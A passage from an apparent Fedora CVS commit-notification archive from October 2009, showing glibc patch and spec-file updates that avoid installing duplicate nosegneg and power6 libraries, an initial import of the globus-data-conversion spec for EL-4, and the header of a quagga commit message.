  endif
  endif
  
---- glibc-2.10-355-g1abedcd/sysdeps/ia64/ia64libgcc.S
-+++ glibc-2.10.90-24/sysdeps/ia64/ia64libgcc.S
+--- glibc-2.10-357-ga0902db/sysdeps/ia64/ia64libgcc.S
++++ glibc-2.10.90-26/sysdeps/ia64/ia64libgcc.S
 @@ -1,350 +0,0 @@
 -/* From the Intel IA-64 Optimization Guide, choose the minimum latency
 -   alternative.  */
@@ -1577,8 +1577,8 @@
 -	.symver	___multi3, __multi3 at GLIBC_2.2
 -
 -#endif
---- glibc-2.10-355-g1abedcd/sysdeps/ia64/libgcc-compat.c
-+++ glibc-2.10.90-24/sysdeps/ia64/libgcc-compat.c
+--- glibc-2.10-357-ga0902db/sysdeps/ia64/libgcc-compat.c
++++ glibc-2.10.90-26/sysdeps/ia64/libgcc-compat.c
 @@ -0,0 +1,84 @@
 +/* pre-.hidden libgcc compatibility
 +   Copyright (C) 2002 Free Software Foundation, Inc.
@@ -1664,8 +1664,8 @@
 +symbol_version (INTUSE (__multi3), __multi3, GLIBC_2.2);
 +
 +#endif
---- glibc-2.10-355-g1abedcd/sysdeps/powerpc/powerpc64/Makefile
-+++ glibc-2.10.90-24/sysdeps/powerpc/powerpc64/Makefile
+--- glibc-2.10-357-ga0902db/sysdeps/powerpc/powerpc64/Makefile
++++ glibc-2.10.90-26/sysdeps/powerpc/powerpc64/Makefile
 @@ -30,6 +30,7 @@ ifneq ($(elf),no)
  # we use -fpic instead which is much better.
  CFLAGS-initfini.s += -fpic -O1
@@ -1674,8 +1674,8 @@
  endif
  
  ifeq ($(subdir),elf)
---- glibc-2.10-355-g1abedcd/sysdeps/unix/nice.c
-+++ glibc-2.10.90-24/sysdeps/unix/nice.c
+--- glibc-2.10-357-ga0902db/sysdeps/unix/nice.c
++++ glibc-2.10.90-26/sysdeps/unix/nice.c
 @@ -42,7 +42,12 @@ nice (int incr)
  	__set_errno (save);
      }
@@ -1690,8 +1690,8 @@
    if (result == -1)
      {
        if (errno == EACCES)
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/check_pf.c
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/check_pf.c
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/check_pf.c
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/check_pf.c
 @@ -27,13 +27,10 @@
  #include <unistd.h>
  #include <sys/socket.h>
@@ -1707,8 +1707,8 @@
  
  #ifndef IFA_F_HOMEADDRESS
  # define IFA_F_HOMEADDRESS 0
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/dl-osinfo.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/dl-osinfo.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/dl-osinfo.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/dl-osinfo.h
 @@ -17,10 +17,13 @@
     Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     02111-1307 USA.  */
@@ -1756,8 +1756,8 @@
      }
    else
  #endif
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/futimesat.c
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/futimesat.c
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/futimesat.c
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/futimesat.c
 @@ -37,14 +37,14 @@ futimesat (fd, file, tvp)
  {
    int result;
@@ -1800,8 +1800,8 @@
      {
        size_t filelen = strlen (file);
        static const char procfd[] = "/proc/self/fd/%d/%s";
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
 @@ -85,15 +85,13 @@
  #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
  
@@ -1820,8 +1820,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/i386/clone.S
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/i386/clone.S
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/i386/clone.S
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/i386/clone.S
 @@ -120,9 +120,6 @@ L(pseudo_end):
  	ret
  
@@ -1840,8 +1840,8 @@
  
  	cfi_startproc
  PSEUDO_END (BP_SYM (__clone))
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/i386/dl-cache.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/i386/dl-cache.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/i386/dl-cache.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/i386/dl-cache.h
 @@ -0,0 +1,59 @@
 +/* Support for reading /etc/ld.so.cache files written by Linux ldconfig.
 +   Copyright (C) 2004 Free Software Foundation, Inc.
@@ -1902,8 +1902,8 @@
 +  } while (0)
 +
 +#include_next <dl-cache.h>
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
 @@ -81,15 +81,13 @@
  #define F_SETLKW64	7	/* Set record locking info (blocking).	*/
  
@@ -1922,8 +1922,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/dl-cache.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/dl-cache.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/dl-cache.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/dl-cache.h
 @@ -22,4 +22,31 @@
  #define _dl_cache_check_flags(flags) \
    ((flags) == _DL_CACHE_DEFAULT_ID)
@@ -1956,29 +1956,29 @@
 +  } while (0)
 +
  #include_next <dl-cache.h>
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
 @@ -0,0 +1,5 @@
 +#ifdef IS_IN_ldconfig
 +#include <sysdeps/i386/dl-procinfo.c>
 +#else
 +#include <sysdeps/generic/dl-procinfo.c>
 +#endif
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
 @@ -0,0 +1,5 @@
 +#ifdef IS_IN_ldconfig
 +#include <sysdeps/unix/sysv/linux/i386/dl-procinfo.h>
 +#else
 +#include <sysdeps/generic/dl-procinfo.h>
 +#endif
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
 @@ -1 +1 @@
 -s_^\(RTLDLIST=\)\([^ 	]*\)-ia64\(\.so\.[0-9.]*\)[ 	]*$_\1"\2-ia64\3 \2\3"_
 +s_^\(RTLDLIST=\)\([^ 	]*\)-ia64\(\.so\.[0-9.]*\)[ 	]*$_\1"\2-ia64\3 /emul/ia32-linux\2\3"_
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/netlinkaccess.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/netlinkaccess.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/netlinkaccess.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/netlinkaccess.h
 @@ -25,6 +25,24 @@
  
  #include <kernel-features.h>
@@ -2004,8 +2004,8 @@
  
  struct netlink_res
  {
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/paths.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/paths.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/paths.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/paths.h
 @@ -62,7 +62,7 @@
  #define	_PATH_TTY	"/dev/tty"
  #define	_PATH_UNIX	"/boot/vmlinux"
@@ -2015,8 +2015,8 @@
  #define _PATH_WTMP	"/var/log/wtmp"
  
  /* Provide trailing slash, since mostly used for building pathnames. */
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
 @@ -85,15 +85,13 @@
  #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
  
@@ -2035,8 +2035,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
 @@ -100,15 +100,13 @@
  #endif
  
@@ -2055,8 +2055,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
 @@ -85,15 +85,13 @@
  #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
  
@@ -2075,8 +2075,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
 @@ -83,8 +83,8 @@
  #define F_GETFL		3	/* Get file status flags.  */
  #define F_SETFL		4	/* Set file status flags.  */
@@ -2097,8 +2097,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/tcsetattr.c
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/tcsetattr.c
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/tcsetattr.c
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/tcsetattr.c
 @@ -49,6 +49,7 @@ tcsetattr (fd, optional_actions, termios_p)
  {
    struct __kernel_termios k_termios;
@@ -2144,8 +2144,8 @@
 +  return retval;
  }
  libc_hidden_def (tcsetattr)
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
 @@ -99,15 +99,13 @@
  #endif
  
@@ -2164,8 +2164,8 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-355-g1abedcd/sysdeps/unix/sysv/linux/x86_64/clone.S
-+++ glibc-2.10.90-24/sysdeps/unix/sysv/linux/x86_64/clone.S
+--- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/x86_64/clone.S
++++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/x86_64/clone.S
 @@ -89,9 +89,6 @@ L(pseudo_end):
  	ret
  
@@ -2184,8 +2184,8 @@
  
  	cfi_startproc;
  PSEUDO_END (BP_SYM (__clone))
---- glibc-2.10-355-g1abedcd/timezone/zic.c
-+++ glibc-2.10.90-24/timezone/zic.c
+--- glibc-2.10-357-ga0902db/timezone/zic.c
++++ glibc-2.10.90-26/timezone/zic.c
 @@ -1921,7 +1921,7 @@ const int			zonecount;
  		if (stdrp != NULL && stdrp->r_hiyear == 2037)
  			return;


Index: glibc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/glibc.spec,v
retrieving revision 1.419
retrieving revision 1.420
diff -u -p -r1.419 -r1.420
--- glibc.spec	12 Oct 2009 13:49:38 -0000	1.419
+++ glibc.spec	19 Oct 2009 11:52:48 -0000	1.420
@@ -1,4 +1,4 @@
-%define glibcsrcdir glibc-2.10-355-g1abedcd
+%define glibcsrcdir glibc-2.10-357-ga0902db
 %define glibcversion 2.10.90
 ### glibc.spec.in follows:
 %define run_glibc_tests 1
@@ -24,7 +24,7 @@
 Summary: The GNU libc libraries
 Name: glibc
 Version: %{glibcversion}
-Release: 25
+Release: 26
 # GPLv2+ is used in a bunch of programs, LGPLv2+ is used for libraries.
 # Things that are linked directly into dynamically linked programs
 # and shared libraries (e.g. crt files, lib*_nonshared.a) have an additional
@@ -426,53 +426,60 @@ ln -sf `basename $RPM_BUILD_ROOT/%{_lib}
 %if %{buildxen}
 %define nosegneg_subdir_base i686
 %define nosegneg_subdir i686/nosegneg
+%define nosegneg_subdir_up ../..
 cd build-%{nptl_target_cpu}-linuxnptl-nosegneg
-SubDir=%{nosegneg_subdir}
-mkdir -p $RPM_BUILD_ROOT/%{_lib}/$SubDir/
-cp -a libc.so $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/libc-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/libc-*.so` $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/libc.so.*`
-cp -a math/libm.so $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/libm-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/libm-*.so` $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/libm.so.*`
-cp -a nptl/libpthread.so $RPM_BUILD_ROOT/%{_lib}/$SubDir/libpthread-%{version}.so
-pushd $RPM_BUILD_ROOT/%{_lib}/$SubDir
-ln -sf libpthread-*.so `basename $RPM_BUILD_ROOT/%{_lib}/libpthread.so.*`
-popd
-cp -a rt/librt.so $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so` $RPM_BUILD_ROOT/%{_lib}/$SubDir/$librtso
-cp -a nptl_db/libthread_db.so $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/libthread_db-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/libthread_db-*.so` $RPM_BUILD_ROOT/%{_lib}/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/libthread_db.so.*`
+destdir=$RPM_BUILD_ROOT/%{_lib}/%{nosegneg_subdir}
+mkdir -p $destdir
+for lib in libc math/libm nptl/libpthread rt/librt nptl_db/libthread_db
+do
+  libbase=${lib#*/}
+  libbaseso=$(basename $RPM_BUILD_ROOT/%{_lib}/${libbase}-*.so)
+  # Only install if different from base lib
+  if cmp -s ${lib}.so ../build-%{nptl_target_cpu}-linuxnptl/${lib}.so; then
+    ln -sf %{nosegneg_subdir_up}/$libbaseso $destdir/$libbaseso
+  else
+    cp -a ${lib}.so $destdir/$libbaseso
+  fi
+  ln -sf $libbaseso $destdir/$(basename $RPM_BUILD_ROOT/%{_lib}/${libbase}.so.*)
+done
 %ifarch %{rtkaioarches}
-mkdir -p $RPM_BUILD_ROOT/%{_lib}/rtkaio/$SubDir
-cp -a rtkaio/librtkaio.so $RPM_BUILD_ROOT/%{_lib}/rtkaio/$SubDir/`basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so | sed s/librt-/librtkaio-/`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/rtkaio/$SubDir/librtkaio-*.so` $RPM_BUILD_ROOT/%{_lib}/rtkaio/$SubDir/$librtso
+destdir=$RPM_BUILD_ROOT/%{_lib}/rtkaio/%{nosegneg_subdir}
+mkdir -p $destdir
+librtkaioso=$(basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so | sed s/librt-/librtkaio-/)
+if cmp -s rtkaio/librtkaio.so ../build-%{nptl_target_cpu}-linuxnptl/rtkaio/librtkaio.so; then
+  ln -s %{nosegneg_subdir_up}/$librtkaioso $destdir/$librtkaioso
+else
+  cp -a rtkaio/librtkaio.so $destdir/$librtkaioso
+fi
+ln -sf $librtkaioso $destdir/$librtso
 %endif
 cd ..
 %endif
 
 %if %{buildpower6}
 cd build-%{nptl_target_cpu}-linuxnptl-power6
-mkdir -p $RPM_BUILD_ROOT/%{_lib}/power6{,x}
-cp -a libc.so $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/libc-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/libc-*.so` $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/libc.so.*`
-cp -a math/libm.so $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/libm-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/libm-*.so` $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/libm.so.*`
-cp -a nptl/libpthread.so $RPM_BUILD_ROOT/%{_lib}/power6/libpthread-%{version}.so
-pushd $RPM_BUILD_ROOT/%{_lib}/power6
-ln -sf libpthread-*.so `basename $RPM_BUILD_ROOT/%{_lib}/libpthread.so.*`
-popd
-cp -a rt/librt.so $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so` $RPM_BUILD_ROOT/%{_lib}/power6/$librtso
-cp -a nptl_db/libthread_db.so $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/libthread_db-*.so`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/libthread_db-*.so` $RPM_BUILD_ROOT/%{_lib}/power6/`basename $RPM_BUILD_ROOT/%{_lib}/libthread_db.so.*`
-pushd $RPM_BUILD_ROOT/%{_lib}/power6x
+destdir=$RPM_BUILD_ROOT/%{_lib}/power6
+mkdir -p ${destdir}
+for lib in libc math/libm nptl/libpthread rt/librt nptl_db/libthread_db
+do
+  libbase=${lib#*/}
+  libbaseso=$(basename $RPM_BUILD_ROOT/%{_lib}/${libbase}-*.so)
+  cp -a ${lib}.so $destdir/$libbaseso
+  ln -sf $libbaseso $destdir/$(basename $RPM_BUILD_ROOT/%{_lib}/${libbase}.so.*)
+done
+mkdir -p ${destdir}x
+pushd ${destdir}x
 ln -sf ../power6/*.so .
 cp -a ../power6/*.so.* .
 popd
 %ifarch %{rtkaioarches}
-mkdir -p $RPM_BUILD_ROOT/%{_lib}/rtkaio/power6{,x}
-cp -a rtkaio/librtkaio.so $RPM_BUILD_ROOT/%{_lib}/rtkaio/power6/`basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so | sed s/librt-/librtkaio-/`
-ln -sf `basename $RPM_BUILD_ROOT/%{_lib}/rtkaio/power6/librtkaio-*.so` $RPM_BUILD_ROOT/%{_lib}/rtkaio/power6/$librtso
-pushd $RPM_BUILD_ROOT/%{_lib}/rtkaio/power6x
+destdir=$RPM_BUILD_ROOT/%{_lib}/rtkaio/power6
+mkdir -p $destdir
+librtkaioso=$(basename $RPM_BUILD_ROOT/%{_lib}/librt-*.so | sed s/librt-/librtkaio-/)
+cp -a rtkaio/librtkaio.so $destdir/$librtkaioso
+ln -sf $librtkaioso $destdir/$librtso
+mkdir -p ${destdir}x
+pushd ${destdir}x
 ln -sf ../power6/*.so .
 cp -a ../power6/*.so.* .
 popd
@@ -1030,6 +1037,11 @@ rm -f *.filelist*
 %endif
 
 %changelog
+* Mon Oct 19 2009 Andreas Schwab <schwab at redhat.com> - 2.10.90-26
+- Update from master.
+  - Add ____longjmp_chk for sparc.
+- Avoid installing the same libraries twice.
+
 * Mon Oct 12 2009 Andreas Schwab <schwab at redhat.com> - 2.10.90-25
 - Update from master
   - Fix descriptor leak when calling dlopen with RTLD_NOLOAD (#527409).


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/import.log,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- import.log	12 Oct 2009 13:49:38 -0000	1.35
+++ import.log	19 Oct 2009 11:52:48 -0000	1.36
@@ -33,3 +33,4 @@ glibc-2_10_90-22:HEAD:glibc-2.10.90-22.s
 glibc-2_10_90-23:HEAD:glibc-2.10.90-23.src.rpm:1253528881
 glibc-2_10_90-24:HEAD:glibc-2.10.90-24.src.rpm:1254140947
 glibc-2_10_90-25:F-12:glibc-2.10.90-25.src.rpm:1255355210
+glibc-2_10_90-26:F-12:glibc-2.10.90-26.src.rpm:1255953059


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/sources,v
retrieving revision 1.317
retrieving revision 1.318
diff -u -p -r1.317 -r1.318
--- sources	12 Oct 2009 13:49:38 -0000	1.317
+++ sources	19 Oct 2009 11:52:48 -0000	1.318
@@ -1,2 +1,2 @@
-4bd27aa3e6ca4bfd87dfb4f0e31c781d  glibc-2.10-355-g1abedcd-fedora.tar.bz2
-8c609449db04e3275e5652cfc7b2c0ec  glibc-2.10-355-g1abedcd.tar.bz2
+e703ae2fd4a7b6157f61fcd53327d171  glibc-2.10-357-ga0902db-fedora.tar.bz2
+8ddcba36d261fb0c5b8487e79ba07708  glibc-2.10-357-ga0902db.tar.bz2



From ellert at fedoraproject.org  Mon Oct 19 11:53:28 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:53:28 +0000 (UTC)
Subject: rpms/globus-data-conversion/EL-4 globus-data-conversion.spec, NONE, 
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019115328.8F5A711C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-data-conversion/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1708/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-data-conversion.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-data-conversion.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-data-conversion
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Data Conversion

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/data_conversion/source globus_data_conversion-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_data_conversion-2.1
#		tar -zcf globus_data_conversion-2.1.tar.gz globus_data_conversion-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Data Conversion Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Data Conversion

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Data Conversion Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-data-conversion-2_1-1_fc11:EL-4:globus-data-conversion-2.1-1.fc11.src.rpm:1255953191


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:43:20 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:53:28 -0000	1.2
@@ -0,0 +1 @@
+globus_data_conversion-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:43:21 -0000	1.1
+++ sources	19 Oct 2009 11:53:28 -0000	1.2
@@ -0,0 +1 @@
+95488e1b7276a97b045d7f8a8de26f69  globus_data_conversion-2.1.tar.gz



From jskala at fedoraproject.org  Mon Oct 19 11:56:25 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Mon, 19 Oct 2009 11:56:25 +0000 (UTC)
Subject: rpms/quagga/devel quagga-0.99.15-posix.patch, NONE, 1.1 .cvsignore, 
	1.21, 1.22 quagga.spec, 1.54, 1.55 sources, 1.21, 1.22
